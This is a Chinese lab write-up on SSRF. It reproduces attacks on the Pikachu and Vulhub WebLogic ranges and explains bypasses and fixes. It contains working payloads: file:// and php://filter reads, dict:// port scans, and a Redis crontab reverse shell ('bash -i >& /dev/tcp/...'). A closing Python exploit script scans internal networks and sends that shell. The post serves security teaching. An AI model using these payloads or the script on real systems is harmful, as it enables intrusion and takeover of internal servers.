SSRF(服务器请求伪造)漏洞分析——pikachu-ssrf、vulhub-weblogic-ssrf靶场复现

漏洞概述

漏洞定义

SSRF( Server-side Request Forgery )服务端请求伪造。 很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者----->服务器---->目标地址

可利用点

1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

利用方式

SSRF经常利用的一些协议:

  • 1)HTTP(s):最常用到的一种协议,这个就不多说了,可以用来验证是否存在SSRF漏洞,探测端口以及服务。
  • 2)file:本地文件传输协议,可以用来读取任意系统文件
  • 3)dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
  • 4)ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell。

漏洞验证

1.排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
2.dnslog等工具进行测试,看是否被访问
–可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址
–从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
–通过二级域名暴力猜解工具模糊猜测内网地址
4.直接返回的Banner、title、content等信息
5.留意bool型SSRF

漏洞危害

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli 等);
5.利用file协议读取本地文件等。

绕过技巧

绕过IP限制

有些网站可能会限制访问的IP,此时可以通过下面的方式进行绕过:

  • 1)使用IPV6地址
  • 2)对IP转化成十进制,八进制等,如0177.0.0.01(八进制)
  • 3)利用特殊域名。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
  • 4)利用句号。如127。0。0。1
  • 5)可以[::]。如http://[::]:80/
  • 6)利用短网址。比如百度短地址

绕过URL解析限制

如果网站限制了使用URL,可以尝试下面的方法绕过:

  • 1)使用@符号绕过:如127.0.0.1@evil.com
  • 2)利用302跳转,需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中

漏洞修复

1、禁用不需要的协议(如:file:///、gopher://,dict://等)。仅仅允许http和https请求;
2、统一错误信息,防止根据错误信息判断端口状态;
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址;
4、设置URL白名单或者限制内网IP;
5、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

PHP中可以造成SSRF的函数

  • 1)file_get_contents():把整个文件读入一个字符串中,该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能;支持http(s),file协议,在PHP5.4上测试不支持dict,ghoper协议。
  • 2)fsockopen():打开一个网络连接或者一个Unix套接字连接,在PHP5.4上测试只有http协议成功
  • 3)curl_exec():用于执行指定的CURL会话,支持的协议比较多,常用于SSRF的协议经过测试都支持,如dict,ghoper,file。有的协议需要一定的条件这点需要注意。

漏洞复现

pikachu靶场复现

在这里插入图片描述

这个靶场的ssrf是有两关。

SSRF(curl)

在开始之前可以先了解curlhttps://www.runoob.com/php/php-ref-curl.html,我们要知道curl支持很多协议(http、https、ftp、gopher、telnet、dict、fileldap协议),这些协议也是下面构造payload所需要利用。
点进第一关,可以看到上面有个链接可以点击。
在这里插入图片描述

点进去可以看到传递了参数url,值为http请求服务器的文件地址(这里由于链接默认点击请求的是服务器的80端口,但是我本机开放的88端口所以需要更改)
在这里插入图片描述

竟然清楚传递的url参数,可以直接请求服务器地址,接下来利用curl支持的多种协议来探测服务器内网信息:

file协议查看本地文件

上面可以看到是利用http请求本地服务器的info1.php文件,这里还可以利用file协议查看本地文件:
payload

?url=file:///c:/windows/win.ini

可以查看文件c:/windows/win.ini,它是每个windows系统都有的:
在这里插入图片描述

ftp协议查看内网ftp服务器上的文件

首先需要一台ftp服务器,这里使用另一台主机192.168.0.11(本机:192.168.0.1)去创建一个ftp服务(wftpd32),用户名密码都设置为wftp,然后再ftp目录下新建一个ssrf.txt文件:
在这里插入图片描述

payload

?url=ftp://wftp:wftp@192.168.0.11/ssrf.txt

在这里插入图片描述

可以看到成功读到内网ftp服务器上的ssrf.txt文件内容

dict协议扫描内网主机开放端口

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,这里探测的目标主机仍是192.168.0.11,先看一下开放的端口:
在这里插入图片描述

payload

?url=dict://192.168.0.11:21

在这里插入图片描述

在这里插入图片描述

可以看到21端口的服务信息都显示出来了,而22端口没开放就啥都没显示。接受下来,利用bp进行端口扫描。先将刚刚利用的payload抓包,然后send to intruder,设置载荷:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

为了方便只探测1-200端口,设置完后开始攻击:
在这里插入图片描述

查看报文长度排序,状态503直接pass掉,再次点击排序:
在这里插入图片描述

可以看到成功扫出了21端口,至于135和445这两个端口是扫不出来(不知道原因)

SSRF(file_get_content)

根据关卡名字,可以看到会利用file_get_content函数,上面概述中有介绍这个函数的作用是把整个文件读入一个字符串中,这篇文章有介绍这个函数和curl的区别:https://www.jianshu.com/p/39acc2d9ab4a
先来到关卡界面和第一关一样
在这里插入图片描述

点击链接
在这里插入图片描述

发现这里的参数变成了file后面接的只依旧是http请求文件地址。

file读取本地文件

payload

?file=file:///c:/windows/win.ini

在这里插入图片描述

可以看到执行结果和刚刚一样。

php://filter/读php源代码

php伪协议中有个读php源代码的php://filter/
payload

?file=php://filter/read=convert.base64-encode/resource=../../../phpinfo.php

我这里是直接回到服务器根目录读取里面的phpinfo.php
在这里插入图片描述

这里读出来的结果经过base64加密了的,所以需要解https://base64.us/
在这里插入图片描述

http协议请求内网资源

为了方便,直接在刚刚利用python在主机192.168.0.1的桌面开启一个http服务:

python3 -m http.server 80

在这里插入图片描述

然后利用http请求去访问ssrf.txt:
在这里插入图片描述

在这里插入图片描述

ftp、dict协议不可行

php高版本好像这个函数不支持ftp、dict和ghoper
在这里插入图片描述

vulhub weblogic ssrf复现

环境搭建

使用vulhub-master/weblogic/ssrf
vulhub靶场搭建教程

docker-compose build
docker-compose up -d

访问

http://192.168.0.20:7001/uddiexplorer/SearchPublicRegistries.jsp

在这里插入图片描述

验证漏洞是否存在

payload

?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1

在这里插入图片描述

请求http服务不存在,回显信息如上,就证明漏洞存在。
weblogic的ssrf探测回显信息如下:
在这里插入图片描述

探测内网ip和端口

ip端口探测主要分三种情况:

  1. ip端口都存在
  2. ip存在端口不存在
  3. ip不存在

当ip端口都存在时,提示如下:
在这里插入图片描述

IP存在端口不存在,提示如下:
在这里插入图片描述

ip不存在,提示如下:
在这里插入图片描述

当然也可以使用bp进行爆破ip和端口,操作和前文pikachu靶场类似:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

设置好载荷后开始攻击,这里为了快捷可以多开几个线程
在这里插入图片描述

可以看到11主机和网关,但请求超时了,11主机是打开的,不知道为啥会超时(刚刚还探测到11的21端口开放,可能是windows的原因),继续看可以发现能扫出192.168.0.10、20主机的(10是kali,20是靶机ubontu所在ip)
在这里插入图片描述

爆破端口和ip一样的方式,当然也可以同时爆破,这里不做演示:
在这里插入图片描述
在这里插入图片描述

可以看到端口探测还是挺准的:
在这里插入图片描述
在这里插入图片描述

攻击内网redis

查看内网redis的ip地址
docker exec -it ssrf_redis_1 ip addr

在这里插入图片描述

探测是否开放6379端口

payload

?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379

在这里插入图片描述

反弹shell

发送四条redis命令,将shell脚本写入/etc/crontab

#写入文件名,这里我叫stest
#set  xx   "\n* * * * * bash -i >& /dev/tcp/反弹shell的ip地址/监听端口 0>&1\n"
test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.10/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。注意这里需要使用URL编码,因为是GET请求

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.10%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

拼接payload

http://192.168.0.20:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.10%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

在kali上使用nc进行监听

 nc -lvnp 4444

在这里插入图片描述

kali成功反弹到shell(有点慢需要耐心等待):
image.png

简单EXP脚本

根据前面探测ip和端口不同的返回提示可以写个简单的python脚本来爆破ip和端口,以下是我根据返回结果写的一个简单脚本:

import requests
import threading
import time

def scan_ip(ip):
	url = "http://{weblogic_ip}:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{ip}".format(weblogic_ip=weblogic_ip,ip=ip)
	r = requests.get(url)
	if "route to host" not in str(r.content):
		print(str(ip)+"---------- is OK")
	# else:
	# 	print(str(ip) + "---------- is down")

def get_ip(ip):
	pre_ip = (ip.split('.')[:-1])
	print('扫描网段:'+'.'.join(pre_ip) + '.' + '1/24\n')
	for i in range(1, 255):
		add = ('.'.join(pre_ip) + '.' + str(i))
		#scan_ip(add)
		threading._start_new_thread(scan_ip, (add,))
		time.sleep(0.1)
	print("\n-------扫描结束-------")

def scan_port(ip,port):
	url = "http://{weblogic_ip}:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{ip}:{port}".format(weblogic_ip=weblogic_ip,ip=ip,port=port)
	r = requests.get(url)
	if "Tried all" not in str(r.content):
		print(str(port) + "---------- is open")
	# else:
	# 	print(str(port) + "---------- is inexit")

def get_port(ip):
	print(ip+"--开放端口:\n")
	for i in range(1, 10000):
		scan_port(ip,i)
		# threading._start_new_thread(scan_port, (ip,i,))
		# time.sleep(0.1)
	print("\n-------扫描结束-------")

def redis_shell(redis_ip,reverse_shell_ip,reverse_shell_port):
	url = "http://{weblogic_ip}:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{redis_ip}:6379/".format(weblogic_ip=weblogic_ip,redis_ip=redis_ip)
	payload = "test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{reverse_shell_ip}%2F{reverse_shell_port}%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa".format(reverse_shell_ip=reverse_shell_ip,reverse_shell_port=reverse_shell_port)
	url_payload = url + payload
	print(url_payload)
	r = requests.get(url_payload)
	if "Received a response from url" in str(r.content):
		print("redis命令发送成功!!!!!!!!\n请耐心等待监听,可能有点慢!!!!")
	else:
		print("redis命令发送失败!!!!!!!!")


if __name__ == '__main__':
	# 靶机地址
	weblogic_ip = "192.168.0.20"
	
	ip ="192.168.0.2"
	#扫描ip网段存活ip
	#get_ip(ip)

	#扫描ip开放的端口
	#get_port(ip)

	#redis主机ip地址
	redis_ip = '172.22.0.2'
	#反弹shell的ip地址/监听端口
	reverse_shell_ip = '192.168.0.10'
	reverse_shell_port = '5555'
	#redis_shell(redis_ip,reverse_shell_ip,reverse_shell_port)

如需使用上面脚本,一些参数地址请自行更改:
扫描内网ip(超时ip扫不出来):
在这里插入图片描述

扫描内网存活主机端口:
在这里插入图片描述

发送redis命令反弹shell(需更改上面的redis地址和反弹shell的ip监听端口):
在这里插入图片描述
在这里插入图片描述

可以看到上面扫描结果还是很准确的。

参考文章:
https://xz.aliyun.com/t/2115#toc-2
https://blog.csdn.net/elephantxiang/article/details/115577034

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值